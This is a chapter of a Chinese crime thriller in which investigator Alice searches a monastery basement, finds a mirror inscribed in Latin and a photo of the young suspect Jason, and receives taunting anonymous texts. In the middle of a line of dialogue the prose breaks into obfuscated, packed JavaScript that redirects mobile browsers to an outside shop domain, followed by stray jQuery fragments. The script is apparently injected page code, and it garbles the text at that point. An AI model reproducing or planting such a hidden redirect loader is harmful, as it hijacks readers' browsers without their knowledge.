莉拉第二天早上開始說話。
不是那種斷斷續續的、需要努力從記憶深處打撈的碎片，而是連貫的、完整的句子，像是在被關的那些年裡，她一直在心裡排練這些話，等一個可以說的人。
艾莉絲坐在床邊，錄音筆放在床頭櫃上，紅燈亮著。
“大衛住院的時候，每天下午的心理會談，我都會在場記錄。”莉拉靠著枕頭，窗簾拉開一半，陽光從縫隙中照進來，在她臉上畫出一條明暗的分界線。“朱利安醫生和他說話，我坐在角落寫筆記。大部分時候他說的都是車禍、復健、出院之後的計畫。但有一天，他說了一句很奇怪的話。”
“什麼話？”
“他說:‘如果我死了，不是意外。’”
朱利安的反應，莉拉記得很清楚。他沒有驚訝，沒有追問，只是把桌上的錄音筆往前推了推，用很平靜的聲音說:“你可以多說一點嗎？”
大衛沒有多說。那天會談之後，他再也不提了。但朱利安沒有忘記。他每天下午還是去大衛的房間，坐很久，有時候說話，有時候只是坐在那裡，陪他。
“朱利安醫生很關心他。”莉拉說。“不只是醫生的那種關心。是……他真的在意大衛會不會好起來。不只是身體好起來，是那種從骨子裡好起來。”
“大衛有沒有跟你說過，他跑掉的那天看到了什麼？”
莉拉搖頭。“他一直不肯說。直到出院那一天，他才告訴我一句話。”
“什麼話？”
“他說:‘那是一個祭壇。不是教堂的祭壇，是另一種。上面擺的不是蠟燭和鮮花，是……’他沒說完。他說他不想讓我知道，因為知道的人會變成目標。”
祭壇。不是教堂的祭壇，是另一種。
“修道院的地下室裡，有沒有類似祭壇的東西？”艾莉絲問。
“我只去過一次。那時候還沒被關，導師第一次見我，就在修道院的大廳。他沒有帶我去地下室。”
“那妳被關的時候呢？”
“我被關在地下室的最裡面。走廊很長，兩側有好幾扇門。我知道隔壁有人，但從來沒有見過他們。有幾次我聽到腳步聲，不是送飯的那種腳步聲，是很慢的、很重的、像是有人在拖東西的聲音。”
艾莉絲把這些記下來。
丹尼在這個時候打電話來。
“搜索隊到了。我們要進地下室了。妳要來嗎？”
“我現在過去。”
修道院在陽光下看起來比昨天更破敗。灰色的石牆上爬滿了藤蔓，有些地方已經被根莖撐出裂縫。屋頂的瓦片掉了好幾塊，露出底下的防水布和木板。鐘樓的時針停在十點四十七分，不知道是哪一天的十點四十七分。
艾莉絲到的時候，搜索隊已經進去了。三輛黑色廂型車停在空地上，穿著防護衣的鑑識人員進進出出，搬運設備、架設照明、在地上貼號碼標籤。
她穿上防護衣，戴上頭套、手套和鞋套，跟著一名鑑識人員走進修道院。
走廊很暗，臨時架設的照明燈把牆壁照得慘白。腳下的石板地很滑，她走得很慢，每一步都先試探才踩下去。
地下室入口的那扇門還開著。樓梯上鋪了防滑墊，扶手被貼上證物編號。她扶著牆壁，一步一步往下走。
地下室的溫度比樓上低很多。冷得像冰庫，但不是那種乾淨的、人工的冷。是潮濕的、帶著霉味和泥土味的冷，像是走進了一個很久沒有人打開的洞穴。
走廊兩側是門。木門，有些關著，有些半開。門上沒有編號，沒有鎖，只有簡單的金屬門把。
她經過第一扇門。裡面空蕩蕩的，只有一張床墊、一個水桶、一個碗。牆壁是灰色的水泥，地板是石板，天花板很低，幾乎伸手就可以碰到。
第二扇門。同樣的配置，但床墊上多了一條毯子。毯子很薄，灰色，磨損得很厲害。
第三扇門。門關著。她推開，先聞到氣味，然後才看到牆上的痕跡。
不是血。她以為是血，但不是。是某種深色的液體乾掉之後留下的痕跡，從牆壁的上方往下流，在牆腳匯成一攤。鑑識人員已經在旁邊架了燈，正在拍照。
“這是什麼？”她問。
鑑識人員抬起頭，隔著護目鏡看著她。
“不確定。看起來像有機物，不是血。需要送回實驗室化驗。”
“有沒有可能是食物殘渣？”
“有可能。但這種量不太尋常。像是有人把液體從高處往下倒，反覆倒了很長一段時間。”
艾莉絲蹲下來，看著那攤痕跡。邊緣不規則，顏色不均勻，最深的地方幾乎是黑色的，淺的地方是深褐色。如果不知道這是什麼，你會以為是一幅抽象畫。一個人在牆上畫畫，畫了很久，畫到沒有顏料了才停。
她站起來，繼續往前走。
走廊盡頭是最後一扇門。比其他門更厚，顏色更深，門把上有一把鎖。鎖是新的，銀色金屬，和修道院其他所有東西格格不入。
門沒鎖。鎖掛在門把上，像是有人打開之後忘了鎖回去。
她推開門。
這個房間比其他房間大。大約是其他房間的兩倍大，天花板也更高。牆壁上沒有痕跡，地板是乾淨的，沒有床墊，沒有水桶，沒有碗。
只有一張桌子。桌子上放著一面鏡子。
鏡子不大，長方形，大約三十公分寬、四十公分高。邊框是木頭的，深色，雕刻著某種花紋。鏡面很乾淨，沒有一點灰塵，像是經常被擦拭。
她走近，看著鏡子。
鏡子裡反射出她自己。蒼白的臉，深陷的眼睛，額頭上有灰塵，左臉沾了不知道哪裡蹭到的髒東西。她看著鏡中的自己，鏡中的自己看著她。
這不是一面普通的鏡子。
她伸出手，觸摸鏡面。玻璃很涼，但不是冰涼，是那種在室內放了很久的、不冷不熱的涼。
她把鏡子翻過來。
背面刻著一行字:
“知道自己長什麼樣子，才能變成另一個人。”
字跡很工整，像是用刻刀一筆一劃雕出來的。不是英文，是拉丁文。她認出其中幾個詞。Noscere。自己。Fieri。變成。Alius。另一個人。
知道自己長什麼樣子，才能變成另一個人。
她把鏡子放回桌上，站直身體。
這個房間不是關人的。是用來做別的事情的。
“艾莉絲。”丹尼的聲音從身後傳來
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545411|204120||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
她轉頭。
丹尼站在門口，手裡拿著一個證物袋。
“找到了一個東西。需要妳看。”
她走過去，接過證物袋。
裡面是一張照片。照片上是一個年輕男人，黑髮，瘦臉，穿著一件深色外套，站在修道院的鐘樓前面。他的手插在口袋裡，頭微微側向一邊，嘴角帶著一絲像是笑又不像笑的表情。
她認出那張臉。
不是因為她見過這個人。是因為這個人和另一個人長得太像了。
卡爾?維斯特。
但不是卡爾。更年輕，更瘦，眼神更亮。
“這是誰？”她問。
“照片背面有名字。”
她翻過來。
“J.V.”
J.V。傑森?維斯特。那是傑森的本名。傑森?米勒只是他用的假名。
這張照片上的年輕男人，是傑森。不是現在這個二十五歲的、在拘留所裡沉默不語的傑森。是更年輕的傑森。
她仔細看那張臉。大約十八、十九歲。剛成年的年紀。站在修道院的鐘樓前面，陽光很亮，他的影子很短。
那時候他還沒有遇見朱利安。還沒有殺人。還沒有被關。
他只是一個站在陽光下的年輕人，手插在口袋裡，頭微微側向一邊，嘴角帶著一絲不確定自己要變成什麼人的表情。
“這是導師拍的？”她問。
“不知道。照片背面沒有日期，沒有地點。但背景是修道院的鐘樓，所以他一定來過這裡。”
艾莉絲把證物袋還給丹尼。
“地下室全部搜完了嗎？”
“搜完了。除了莉拉的房間，還有四個房間有被關過的痕跡。但現在都是空的。”
“牆上的痕跡呢？”
“採樣了。等化驗結果。”
“傑森的照片也帶回去。問他願不願意談。”
丹尼點頭。
“妳覺得他會談嗎？”
“不知道。但如果他知道導師留著他年輕時的照片，也許他會願意。”
她走出修道院，脫掉防護衣，站在陽光下。樹林在風中發出沙沙的聲響，遠處有一隻鳥在叫，聲音很尖，像是在喊某個人的名字。
她拿出手機，看到一封簡訊。號碼不認識。
打開。
“妳在找的東西，不在妳找的地方。”
刪掉。
又來一封。
“他在看著妳。從一開始就在。”
刪掉。
第三封。
“第三層不是地下室。是妳心裡的。”
她沒有刪掉這一封。
她盯著那行字，看了很久。
第三層不是地下室。是妳心裡的。
導師在跟她說話。
他一直在看。
她把手機收進口袋，走回車上。
發動引擎。
車子駛離修道院，碎石路在車輪下發出細碎的聲響。
她看著後視鏡裡的修道院越來越小，最後消失在樹林後面。
“你在看嗎？”她對著空氣說。
沒有人回答。
但她知道他聽得到。